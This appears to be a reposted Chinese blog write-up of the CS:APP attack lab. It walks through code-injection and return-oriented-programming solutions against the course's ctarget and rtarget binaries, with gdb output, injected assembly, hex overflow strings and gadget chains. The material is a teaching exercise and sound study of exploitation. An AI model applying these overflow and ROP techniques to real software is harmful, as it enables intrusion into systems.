.cs是什么文件_CS:APP实验之attacklab

2023-12-08 13:20
文章标签 app 实验 cs attacklab

本文主要是介绍.cs是什么文件_CS:APP实验之attacklab,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

054d175cd9460dfcc9c608787ae88d8f.png

几个月一直在看ML和DL相关的东西,CSAPP书倒是没再翻过。寻思着第四章流水线和学校说的差距有点大,看完SEQ的部分后面暂时先放放,Archlab如果以后考研结束了再学再做。这次做一下仍然与第三章相关的attack lab,发现自己不看书就忘得差不多了,gdb一定要会才能做的熟练。

实验环境

Ubuntu 18.04 LTS实体机

预备内容

gdb手册(bomblab那一篇里有链接)

CS:APP3e, Bryant and O'Hallaron

操作流程 这个极其重要!文章里有些细枝末节的东西没提到,就到这里看。

整个lab就是跟着Writeup一步一步来,建议不熟练或者忘掉第三章内容的再去复习一下。

实验说明

整个lab分为5个level,前3个是代码注入,后2个是回归导向编程ROP攻击,我们一个一个看

Part I :Code Injection Attacks

level 1

不管怎么样,先把第一部分的ctarget代码反汇编弄出来。

objdump -d ctarget > c.txt

贴上给出的函数代码:

void test()
{int val;val = getbuf();printf("No exploit. Getbuf returned 0x%xn", val);
}void touch1() {vlevel = 1;printf("Touch!: You called touch1()n");validate(1);exit(0);
}

我们这里先来看看执行ctarget是什么情况

leyn@leyn-ThinkPad-X230:~/csapplab/target1$ ./ctarget -q
Cookie: 0x59b997fa
Type string:1234
No exploit.  Getbuf returned 0x1
Normal return

注意我们在执行ctarget程序的时候默认是连接到cmu的服务器,但是我们不是cmu的学生所以连不上服务器也就无法执行代码,所以执行的时候要加命令行参数 -q 以阻止连接到服务器的行为。这里随便填了几个数字,报错。

ctarget的流程大概就是执行test函数,然后输入字符串。这里level 1的要求是调用touch1函数即可。找到ctarget里getbuf函数的反汇编。

00000000004017a8 <getbuf>:4017a8:	48 83 ec 28          	sub    $0x28,%rsp4017ac:	48 89 e7             	mov    %rsp,%rdi4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>4017b4:	b8 01 00 00 00       	mov    $0x1,%eax4017b9:	48 83 c4 28          	add    $0x28,%rsp4017bd:	c3                   	retq   4017be:	90                   	nop4017bf:	90                   	nop

看到getbuf开辟了40个字节的栈空间,回忆一下栈的分配方式,这里借用某博客的图显示的更清楚。

4bf0f4a4b2798856da289f4db5fa2c53.png

这个echo函数开辟了24字节的栈空间,函数里有用户自定义的8字节的数组,用户在8字节内可以随便输入,但是输入超过23字节,就会覆盖到调用者栈帧最下面的返回地址。这里我们的是开辟了40个字节的空间,只要我们输入的字符串将调用者的返回地址覆盖成我们想要它返回的地址即可。查看touch1的反汇编

00000000004017c0 <touch1>:4017c0:	48 83 ec 08          	sub    $0x8,%rsp4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>4017cb:	00 00 00 4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi4017d3:	e8 e8 f4 ff ff       	callq  400cc0 <puts@plt>4017d8:	bf 01 00 00 00       	mov    $0x1,%edi4017dd:	e8 ab 04 00 00       	callq  401c8d <validate>4017e2:	bf 00 00 00 00       	mov    $0x0,%edi4017e7:	e8 54 f6 ff ff       	callq  400e40 <exit@plt>

发现touch1的首地址是 0x4017c0,注意我们这里要用小端法,即输入的字符串要写成c0 17 40这样,开辟的40字节空间里面填什么无所谓。最后我们可以填成这样:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
c0 17 40

看一下结果

leyn@leyn-ThinkPad-X230:~/csapplab/target1$ ./hex2raw < l1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:user id	bovikcourse	15213-f15lab	attacklabresult	1:PASS:0xffffffff:ctarget:1:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 C0 17 40 
leyn@leyn-ThinkPad-X230:~/csapplab/target1$ 

用图来表示就是这样

ed557b31f59d5e0be9408d97af00634d.png

我们可以使用文件重定向输入,格式如上,要加参数 -q。返回成功。

level 2

放上touch2的代码和反汇编先

void touch2(unsigned val){vlevel = 2;if (val == cookie){printf("Touch2!: You called touch2(0x%.8x)n", val);validate(2);} else {printf("Misfire: You called touch2(0x%.8x)n", val);fail(2);}exit(0);
}

反汇编

00000000004017ec <touch2>:4017ec:	48 83 ec 08          	sub    $0x8,%rsp4017f0:	89 fa                	mov    %edi,%edx4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>4017f9:	00 00 00 4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>401802:	75 20                	jne    401824 <touch2+0x38>401804:	be e8 30 40 00       	mov    $0x4030e8,%esi401809:	bf 01 00 00 00       	mov    $0x1,%edi40180e:	b8 00 00 00 00       	mov    $0x0,%eax401813:	e8 d8 f5 ff ff       	callq  400df0 <__printf_chk@plt>401818:	bf 02 00 00 00       	mov    $0x2,%edi40181d:	e8 6b 04 00 00       	callq  401c8d <validate>401822:	eb 1e                	jmp    401842 <touch2+0x56>401824:	be 10 31 40 00       	mov    $0x403110,%esi401829:	bf 01 00 00 00       	mov    $0x1,%edi40182e:	b8 00 00 00 00       	mov    $0x0,%eax401833:	e8 b8 f5 ff ff       	callq  400df0 <__printf_chk@plt>401838:	bf 02 00 00 00       	mov    $0x2,%edi40183d:	e8 0d 05 00 00       	callq  401d4f <fail>401842:	bf 00 00 00 00       	mov    $0x0,%edi401847:	e8 f4 f5 ff ff       	callq  400e40 <exit@plt>

大意还是一样的,调用touch2即成功。我们看见touch2传了一个参数,这个参数值如果等于cookie的话就成功。cookie的值在给定的文件cookie.txt里有,我的cookie是0x59b997fa。

回忆一下,函数的第一个参数放在 %rdi 寄存器里面,这里我们显然不能直接输入字符串,需要借助汇编语言来实现。具体解题思路如下:

  • 将正常的返回地址设置成为注入代码的地址,这次注入直接在栈顶注入,即设置为%rsp
  • cookie的值写在%rdi里
  • 获取touch2的首地址,这个已经有了
  • 要调用touch2,却不能用call jmp等命令,所以只能用ret弹出,在弹出之前要先把touch2地址压栈。

即我们的汇编代码为

movq    $0x59b997fa, %rdi
pushq   0x4017ec
ret

命令行里编译再查看其反汇编

linux> gcc -c l2.s
linux> objdump -d l2.oDisassembly of section .text:0000000000000000 <.text>:0:   48 c7 c7 fa 97 69 59    mov    $0x596997fa,%rdi7:   68 ec 17 40 00          pushq  $0x4017ecc:   c3                      retq

这三条指令地址我们就有了,就是每行反汇编最前面的一长串十六进制数字,接着我们去找%rsp在哪,借助gdb。

(gdb) break *0x4017ac
Breakpoint 1 at 0x4017ac: file buf.c, line 14.
(gdb) run -q
Starting program: /home/leyn/csapplab/target1/ctarget -q
Cookie: 0x59b997faBreakpoint 1, getbuf () at buf.c:14
14	buf.c: 没有那个文件或目录.
(gdb) info registers
... //省略
rsp            0x5561dc78	0x5561dc78
... //省略

得到%rsp地址,然后写注入字符串就好了,字符串为 注入代码地址——无用字符——返回地址。

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
78 dc 61 55 00 00 00 00

测试

leyn@leyn-ThinkPad-X230:~/csapplab/target1$ ./hex2raw < lev2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:user id	bovikcourse	15213-f15lab	attacklabresult	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 78 DC 61 55 00 00 00 00 

成功。栈帧图如下

b1f51bf3f4162e41820fde8eff7d50b8.png

level 3

上touch3和hexmatch代码

void touch3(char *sval){vlevel = 3;if (hexmatch(cookie, sval)){printf("Touch3!: You called touch3("%s")n", sval);validate(3);} else {printf("Misfire: You called touch3("%s")n", sval);fail(3);}exit(0);
}
int hexmatch(unsigned val, char *sval){char cbuf[110];char *s = cbuf + random() % 100;sprintf(s, "%.8x", val);return strncmp(sval, s, 9) == 0;
}

这次还是要调用touch3,与前面不同的是,这次传进的参数是一个字符串,同时函数内部用了另外一个函数来比较。本次要 比较的是"59b997fa"这个字符串。

writeup里给了几个提示:

  • 在C语言中字符串是以0结尾,所以在字符串序列的结尾是一个字节0
  • man ascii 可以用来查看每个字符的16进制表示
  • 当调用hexmatchstrncmp时,他们会把数据压入到栈中,有可能会覆盖getbuf栈帧的数据,所以传进去字符串的位置必须小心谨慎。

这次与上一次的最大区别就是多了一个函数,hexmatch也开辟了110字节的栈帧,strncmp也会开辟空间,但是就代码来看,*s存放的地址是随机的,如果我们将数据放在getbuf的栈空间里面,很有可能就被这两个函数cover了。所以我们要把数据放到一个相对安全的栈空间里,这里我们选择放在父帧即test的栈空间里。gdb看一下test栈空间地址。

(gdb) break *0x40196c
Breakpoint 1 at 0x40196c: file visible.c, line 92.
(gdb) run -q
Starting program: /home/leyn/csapplab/target1/ctarget -q
Cookie: 0x59b997faBreakpoint 1, test () at visible.c:92
92	visible.c: 没有那个文件或目录.
(gdb) info r rsp 
rsp            0x5561dca8	0x5561dca8

找到了test的栈空间地址。所以解题思路大致为:

  • cookie转化为16进制
  • 将字符串写到不会被覆盖的test栈空间,再将该地址送到%rdi中
  • 将touch3首地址压栈再ret

汇编代码

movq    $0x5561dca8, %rdi
pushq   0x4018fa
ret

编译查看

linux> gcc -c l3.s
linux> objdump -d l3.oDisassembly of section .text:0000000000000000 <.text>:0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi7:   68 fa 18 40 00          pushq  $0x4018fac:   c3                      retq

使用man ascii命令得到cookie的十六进制

35 39 62 39 39 37 66 61 00

最后的输入文件

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00

测试

leyn@leyn-ThinkPad-X230:~/csapplab/target1$ ./hex2raw < l3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:user id	bovikcourse	15213-f15lab	attacklabresult	1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 

成功。栈空间图片如下

cb724a2b835e68cb5d09731803bf8f4d.png

Part II:Return-Oriented Programming

我们先把rtarget反汇编文件弄出来

objdump -d rtarget > r.txt

这里的writeup写的十分详细,还给出了mov pop ret nop指令的字节码表,表自己在writeup里看这边不放了,有一张图是简要说明怎么利用gadgets的

0f329cf5c424c6e42a78e7855f667f5b.png

在ROP攻击中设置了栈随机化,所以我们不能像前面三个一样定位到精确地址插入代码。为了实现攻击,我们要在已经给定的代码中找到特定的指令序列,这些序列以ret结尾,我们把这些命令叫做gadget。

每一段gadget包含一系列指令字节,而且以ret结尾,跳转到下一个gadget,就这样连续的执行一系列的指令代码,对程序造成攻击。譬如给的示例:

void setval_210(unsigned *p)
{*p = 3347663060U;
}

反汇编后得到它的指令字节编码

0000000000400f15 <setval_210>:400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)400f1b: c3 retq

这样我们就可以利用已经存在的程序,从中间提取出特殊的指令,这里的 48 89 c7就是mov %rax ,%rdi 的编码,其地址在 0x400f18。

然后还要把farm.c的指令弄出来

gcc -c -Og farm.c
objdump -d farm.o > f.d

这里有个小坑,编译的时候要加-Og的选项,不然就会采用 stack frame pointer,而rtarget里是没有用该指针的,不加的话指令编码会很复杂。

level 2

phase4的要求和phase2一样,调用touch2。再放下touch2的代码方便看

void touch2(unsigned val){vlevel = 2;if (val == cookie){printf("Touch2!: You called touch2(0x%.8x)n", val);validate(2);} else {printf("Misfire: You called touch2(0x%.8x)n", val);fail(2);}exit(0);
}

放上我们可以用到的gadget

0000000000000000 <start_farm>:0:	b8 01 00 00 00       	mov    $0x1,%eax5:	c3                   	retq   0000000000000006 <getval_142>:6:	b8 fb 78 90 90       	mov    $0x909078fb,%eaxb:	c3                   	retq   000000000000000c <addval_273>:c:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax12:	c3                   	retq   0000000000000013 <addval_219>:13:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax19:	c3                   	retq   000000000000001a <setval_237>:1a:	c7 07 48 89 c7 c7    	movl   $0xc7c78948,(%rdi)20:	c3                   	retq   0000000000000021 <setval_424>:21:	c7 07 54 c2 58 92    	movl   $0x9258c254,(%rdi)27:	c3                   	retq   0000000000000028 <setval_470>:28:	c7 07 63 48 8d c7    	movl   $0xc78d4863,(%rdi)2e:	c3                   	retq   000000000000002f <setval_426>:2f:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)35:	c3                   	retq   0000000000000036 <getval_280>:36:	b8 29 58 90 c3       	mov    $0xc3905829,%eax3b:	c3                   	retq   000000000000003c <mid_farm>:3c:	b8 01 00 00 00       	mov    $0x1,%eax41:	c3                   	retq   

那么我们的做法还是像之前一样,将cookie放到%rdi,把touch2的地址放到栈中,以ret执行。Writeup提示,我们利用的gadget是从startfarm到midfarm之间的,并且只需要两个。结合我们之前phase2的做法,猜测是需要一个mov命令来放参数,另外一个结合提示就是pop命令了,pop会把栈顶的cookie弹出到另外一个寄存器,再用mov命令写到%rdi里。把mov和pop的字节编码表贴出

f1de46d396595fa5921a1b5ea65bcb70.png

到farm里一个个对,找到了pop %rax的58编码和48 89 c7的mov %rax,%rdi编码。我们这里选两个,addval 219作为pop的farm,addval 273作为mov的farm。这里犯了一个sb的错,farm不是可执行文件,不能把farm里的地址写上去……要在rtarget里找。

00000000004019a0 <addval_273>:4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax4019a6:	c3                   	retq   00000000004019a7 <addval_219>:4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax4019ad:	c3                   	retq   

mov字段从0x0x4019a2开始,pop从0x4019ab开始。我们需要的代码是这样

popq %rax
movq %rax,%rdi

用图来看是这样

f22946a39c6cd56f42b9da15bd87dc6e.png

测试

leyn@leyn-ThinkPad-X230:~/csapplab/target1$ ./hex2raw < p4.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:user id	bovikcourse	15213-f15lab	attacklabresult	1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 

成功。

level 3

Extra关卡要求就是做到和phase3一样。可以用farm里的所有gadgets,official solution要8个小工具。touch3代码如下:

void touch3(char *sval){vlevel = 3;if (hexmatch(cookie, sval)){printf("Touch3!: You called touch3("%s")n", sval);validate(3);} else {printf("Misfire: You called touch3("%s")n", sval);fail(3);}exit(0);
}
int hexmatch(unsigned val, char *sval){char cbuf[110];char *s = cbuf + random() % 100;sprintf(s, "%.8x", val);return strncmp(sval, s, 9) == 0;
}

先把cookie转成ascii码,最后别忘加0.

35 39 62 39 39 37 66 61 00

思路:

  • 因为开启了栈随机化,所以不能直接把代码插入到绝对地址,必须找一个基准,我们就只能找%rsp。
  • 因为touch3会开辟一个很大的buffsize,若把数据插到touch3下面的栈空间,有关内存之后基本就会被重写,所以要存在touch3的更高地址处。所以要在%rsp上加一个bias才可以,即字符串地址是%rsp + bias。
  • 没有直接的加法指令,那就找两个寄存器互相加,找到一个放在下面
0000000000000042 <add_xy>:42:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax46:	c3                   	retq   

实现了%rax = %rdi + %rsi

所以具体操作就是:

  • 把%rsp里的栈指针地址放到%rdi
  • 拿到bias的值放到%rsi
  • 利用add xy,把栈指针地址和bias加起来放到%rax,再传到%rdi
  • 调用touch3

寄存器之间的转化就可以自己查表配,bias需要额外计算一下

8219dce379fa280cc59f82d1bb94753e.png

bias的值是这样:可以看到在返回地址和字符串首地址之间有9条指令,每个指令8个byte,共72byte也就是0x48。于是就可以拿到最终的字符串:

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
cc 19 40 00 00 00 00 00 
48 00 00 00 00 00 00 00 
dd 19 40 00 00 00 00 00 
70 1a 40 00 00 00 00 00 
13 1a 40 00 00 00 00 00 
d6 19 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
fa 18 40 00 00 00 00 00 
35 39 62 39 39 37 66 61 00

测试

leyn@leyn-ThinkPad-X230:~/csapplab/target1$ ./hex2raw < n5.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:user id	bovikcourse	15213-f15lab	attacklabresult	1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 CC 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 70 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 

成功。

********************************

至此attack lab就算是结束了,不得不说这个lab确实很有意思,gdb大法确实很重要。后面仍然会继续做lab,不过要同时进行ML和DL水论文还有topdown的lab还有6.828,所以csapp会尽量快的做。包括这段时间经历,算是有点理解大佬们是怎么学下去的了。

参考:

CSAPP:Attack lab

孟佬的attack lab

不周山

这篇关于.cs是什么文件_CS:APP实验之attacklab的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/469997

相关文章

2. c#从不同cs的文件调用函数

1.文件目录如下: 2. Program.cs文件的主函数如下 using System;using System.Collections.Generic;using System.Linq;using System.Threading.Tasks;using System.Windows.Forms;namespace datasAnalysis{internal static

STM32(十一):ADC数模转换器实验

AD单通道: 1.RCC开启GPIO和ADC时钟。配置ADCCLK分频器。 2.配置GPIO,把GPIO配置成模拟输入的模式。 3.配置多路开关,把左面通道接入到右面规则组列表里。 4.配置ADC转换器, 包括AD转换器和AD数据寄存器。单次转换,连续转换;扫描、非扫描;有几个通道,触发源是什么,数据对齐是左对齐还是右对齐。 5.ADC_CMD 开启ADC。 void RCC_AD

HNU-2023电路与电子学-实验3

写在前面: 一、实验目的 1.了解简易模型机的内部结构和工作原理。 2.分析模型机的功能,设计 8 重 3-1 多路复用器。 3.分析模型机的功能,设计 8 重 2-1 多路复用器。 4.分析模型机的工作原理,设计模型机控制信号产生逻辑。 二、实验内容 1.用 VERILOG 语言设计模型机的 8 重 3-1 多路复用器; 2.用 VERILOG 语言设计模型机的 8 重 2-1 多

MFC中App,Doc,MainFrame,View各指针的互相获取

纸上得来终觉浅,为了熟悉获取方法,我建了个SDI。 首先说明这四个类的执行顺序是App->Doc->Main->View 另外添加CDialog类获得各个指针的方法。 多文档的获取有点小区别,有时间也总结一下。 //  App void CSDIApp::OnApp() {      //  App      //  Doc     CDocument *pD

ConstraintLayout布局里的一个属性app:layout_constraintDimensionRatio

ConstraintLayout 这是一个约束布局,可以尽可能的减少布局的嵌套。有一个属性特别好用,可以用来动态限制宽或者高app:layout_constraintDimensionRatio 关于app:layout_constraintDimensionRatio参数 app:layout_constraintDimensionRatio=“h,1:1” 表示高度height是动态变化

App Store最低版本要求汇总

1,自此日期起: 2024 年 4 月 29 日 自 2024 年 4 月 29 日起,上传到 App Store Connect 的 App 必须是使用 Xcode 15 为 iOS 17、iPadOS 17、Apple tvOS 17 或 watchOS 10 构建的 App。将 iOS App 提交至 App Store - Apple Developer 2,最低XCode版本 Xcod

61.以太网数据回环实验(4)以太网数据收发器发送模块

(1)状态转移图: (2)IP数据包格式: (3)UDP数据包格式: (4)以太网发送模块代码: module udp_tx(input wire gmii_txc ,input wire reset_n ,input wire tx_start_en , //以太网开始发送信

LTspice模拟CCM和DCM模式的BUCK电路实验及参数计算

关于BUCK电路的原理可以参考硬件工程师炼成之路写的《 手撕Buck!Buck公式推导过程》.实验内容是将12V~5V的Buck电路仿真,要求纹波电压小于15mv. CCM和DCM的区别: CCM:在一个开关周期内,电感电流从不会到0. DCM:在开关周期内,电感电流总会到0. CCM模式Buck电路仿真: 在用LTspice模拟CCM电路时,MOS管驱动信号频率为100Khz,负载为10R(可自

鸿蒙自动化发布测试版本app

创建API客户端 API客户端是AppGallery Connect用于管理用户访问AppGallery Connect API的身份凭据,您可以给不同角色创建不同的API客户端,使不同角色可以访问对应权限的AppGallery Connect API。在访问某个API前,必须创建有权访问该API的API客户端。 1.登录AppGallery Connect网站,选择“用户与访问”。选择左侧

HCIA--实验十:路由的递归特性

递归路由的理解 一、实验内容 1.需求/要求: 使用4台路由器,在AR1和AR4上分别配置一个LOOPBACK接口,根据路由的递归特性,写一系列的静态路由实现让1.1.1.1和4.4.4.4的双向通信。 二、实验过程 1.拓扑图: 2.步骤: (下列命令行可以直接复制在ensp) 1.如拓扑图所示,配置各路由器的基本信息: 各接口的ip地址及子网掩码,给AR1和AR4分别配置